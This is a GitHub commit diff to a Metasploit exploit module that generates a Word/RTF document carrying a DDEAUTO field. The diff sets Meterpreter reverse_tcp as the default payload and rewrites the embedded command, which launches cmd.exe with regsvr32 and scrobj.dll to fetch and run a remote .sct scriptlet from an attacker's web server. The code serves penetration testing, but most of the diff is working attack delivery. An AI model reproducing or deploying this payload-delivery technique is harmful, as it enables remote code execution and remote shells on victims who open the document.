Skip to content

Commit 7bdc99a

Browse files
author
Austin
authored
Fix HANDLER + some default options!
1 parent 09aa433 commit 7bdc99a

File tree

1 file changed

+11
-3
lines changed

1 file changed

+11
-3
lines changed

modules/exploits/windows/fileformat/office_dde_delivery.rb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,8 @@ def initialize(info = {})
1717
'Name' => 'Microsoft Office DDE Payload Delivery',
1818
'Description' => %q{
1919
This module generates an DDE command to place within
20-
a word document, that when executed, will retrieve a payload
21-
from the webserver
20+
a word document, that when executed, will retrieve a HTA payload
21+
via HTTP from an web server.
2222
},
2323
'Author' => 'mumbai',
2424
'License' => MSF_LICENSE,
@@ -35,6 +35,14 @@ def initialize(info = {})
3535
['Microsoft Office', {} ],
3636
],
3737
'DefaultTarget' => 0,
38+
'Payload' => {
39+
'DisableNops' => true
40+
},
41+
'DefaultOptions' => {
42+
'DisablePayloadHandler' => false,
43+
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
44+
'EXITFUNC' => 'thread'
45+
}
3846
))
3947
register_options([
4048
OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
@@ -138,7 +146,7 @@ def create_rtf
138146
#
139147
header = retrieve_header(datastore['FILENAME'])
140148
field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 '
141-
field_class << "DDEAUTO \"C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" \"#{datastore['MESSAGE']}\" }}"
149+
field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
142150
field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
143151
field_class << '\insrsid5790315' + "\n"
144152
field_class << '\par }'

0 commit comments

Comments
 (0)